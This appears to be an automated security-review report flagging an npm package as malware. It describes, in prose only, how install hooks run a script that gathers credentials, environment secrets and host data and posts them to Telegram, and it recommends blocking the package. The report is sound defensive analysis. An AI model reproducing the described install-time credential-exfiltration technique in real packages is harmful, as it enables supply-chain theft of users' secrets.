AI Security Review

scanned 1mo ago · by lpm-firewall-ai

This is concrete, automatic install-time credential and system-data exfiltration to an unrelated Telegram endpoint. The package should be blocked.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm preinstall or postinstall runs callback.js.

Impact

Partial credentials, credential names, file previews, host details, and cloud metadata can be disclosed to an unrelated remote recipient during installation.

Mechanism

The callback uses shell commands and filesystem reads to collect cloud and local credential data, constructs messages, and sends them through HTTPS.

Attack narrative

Installing the package automatically executes callback.js. The script queries cloud credential metadata, scans sensitive environment variables, reads common credential files, gathers host information, and posts the resulting reports to Telegram. Redaction does not make the automatic disclosure benign because it still exposes partial secret values and sensitive metadata to an unrelated recipient.

AI rationale

This is concrete, automatic install-time credential and system-data exfiltration to an unrelated Telegram endpoint. The package should be blocked.

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The manifest automatically runs callback.js during both preinstall and postinstall.
The lifecycle script reads sensitive environment variables and local credential files.
The script sends collected system and credential-derived data to api.telegram.org.
The callback is automatically activated after a short delay.

Evidence against

The package redacts collected credential values before constructing reports, but it still transmits partial secret material and metadata to an unrelated endpoint.
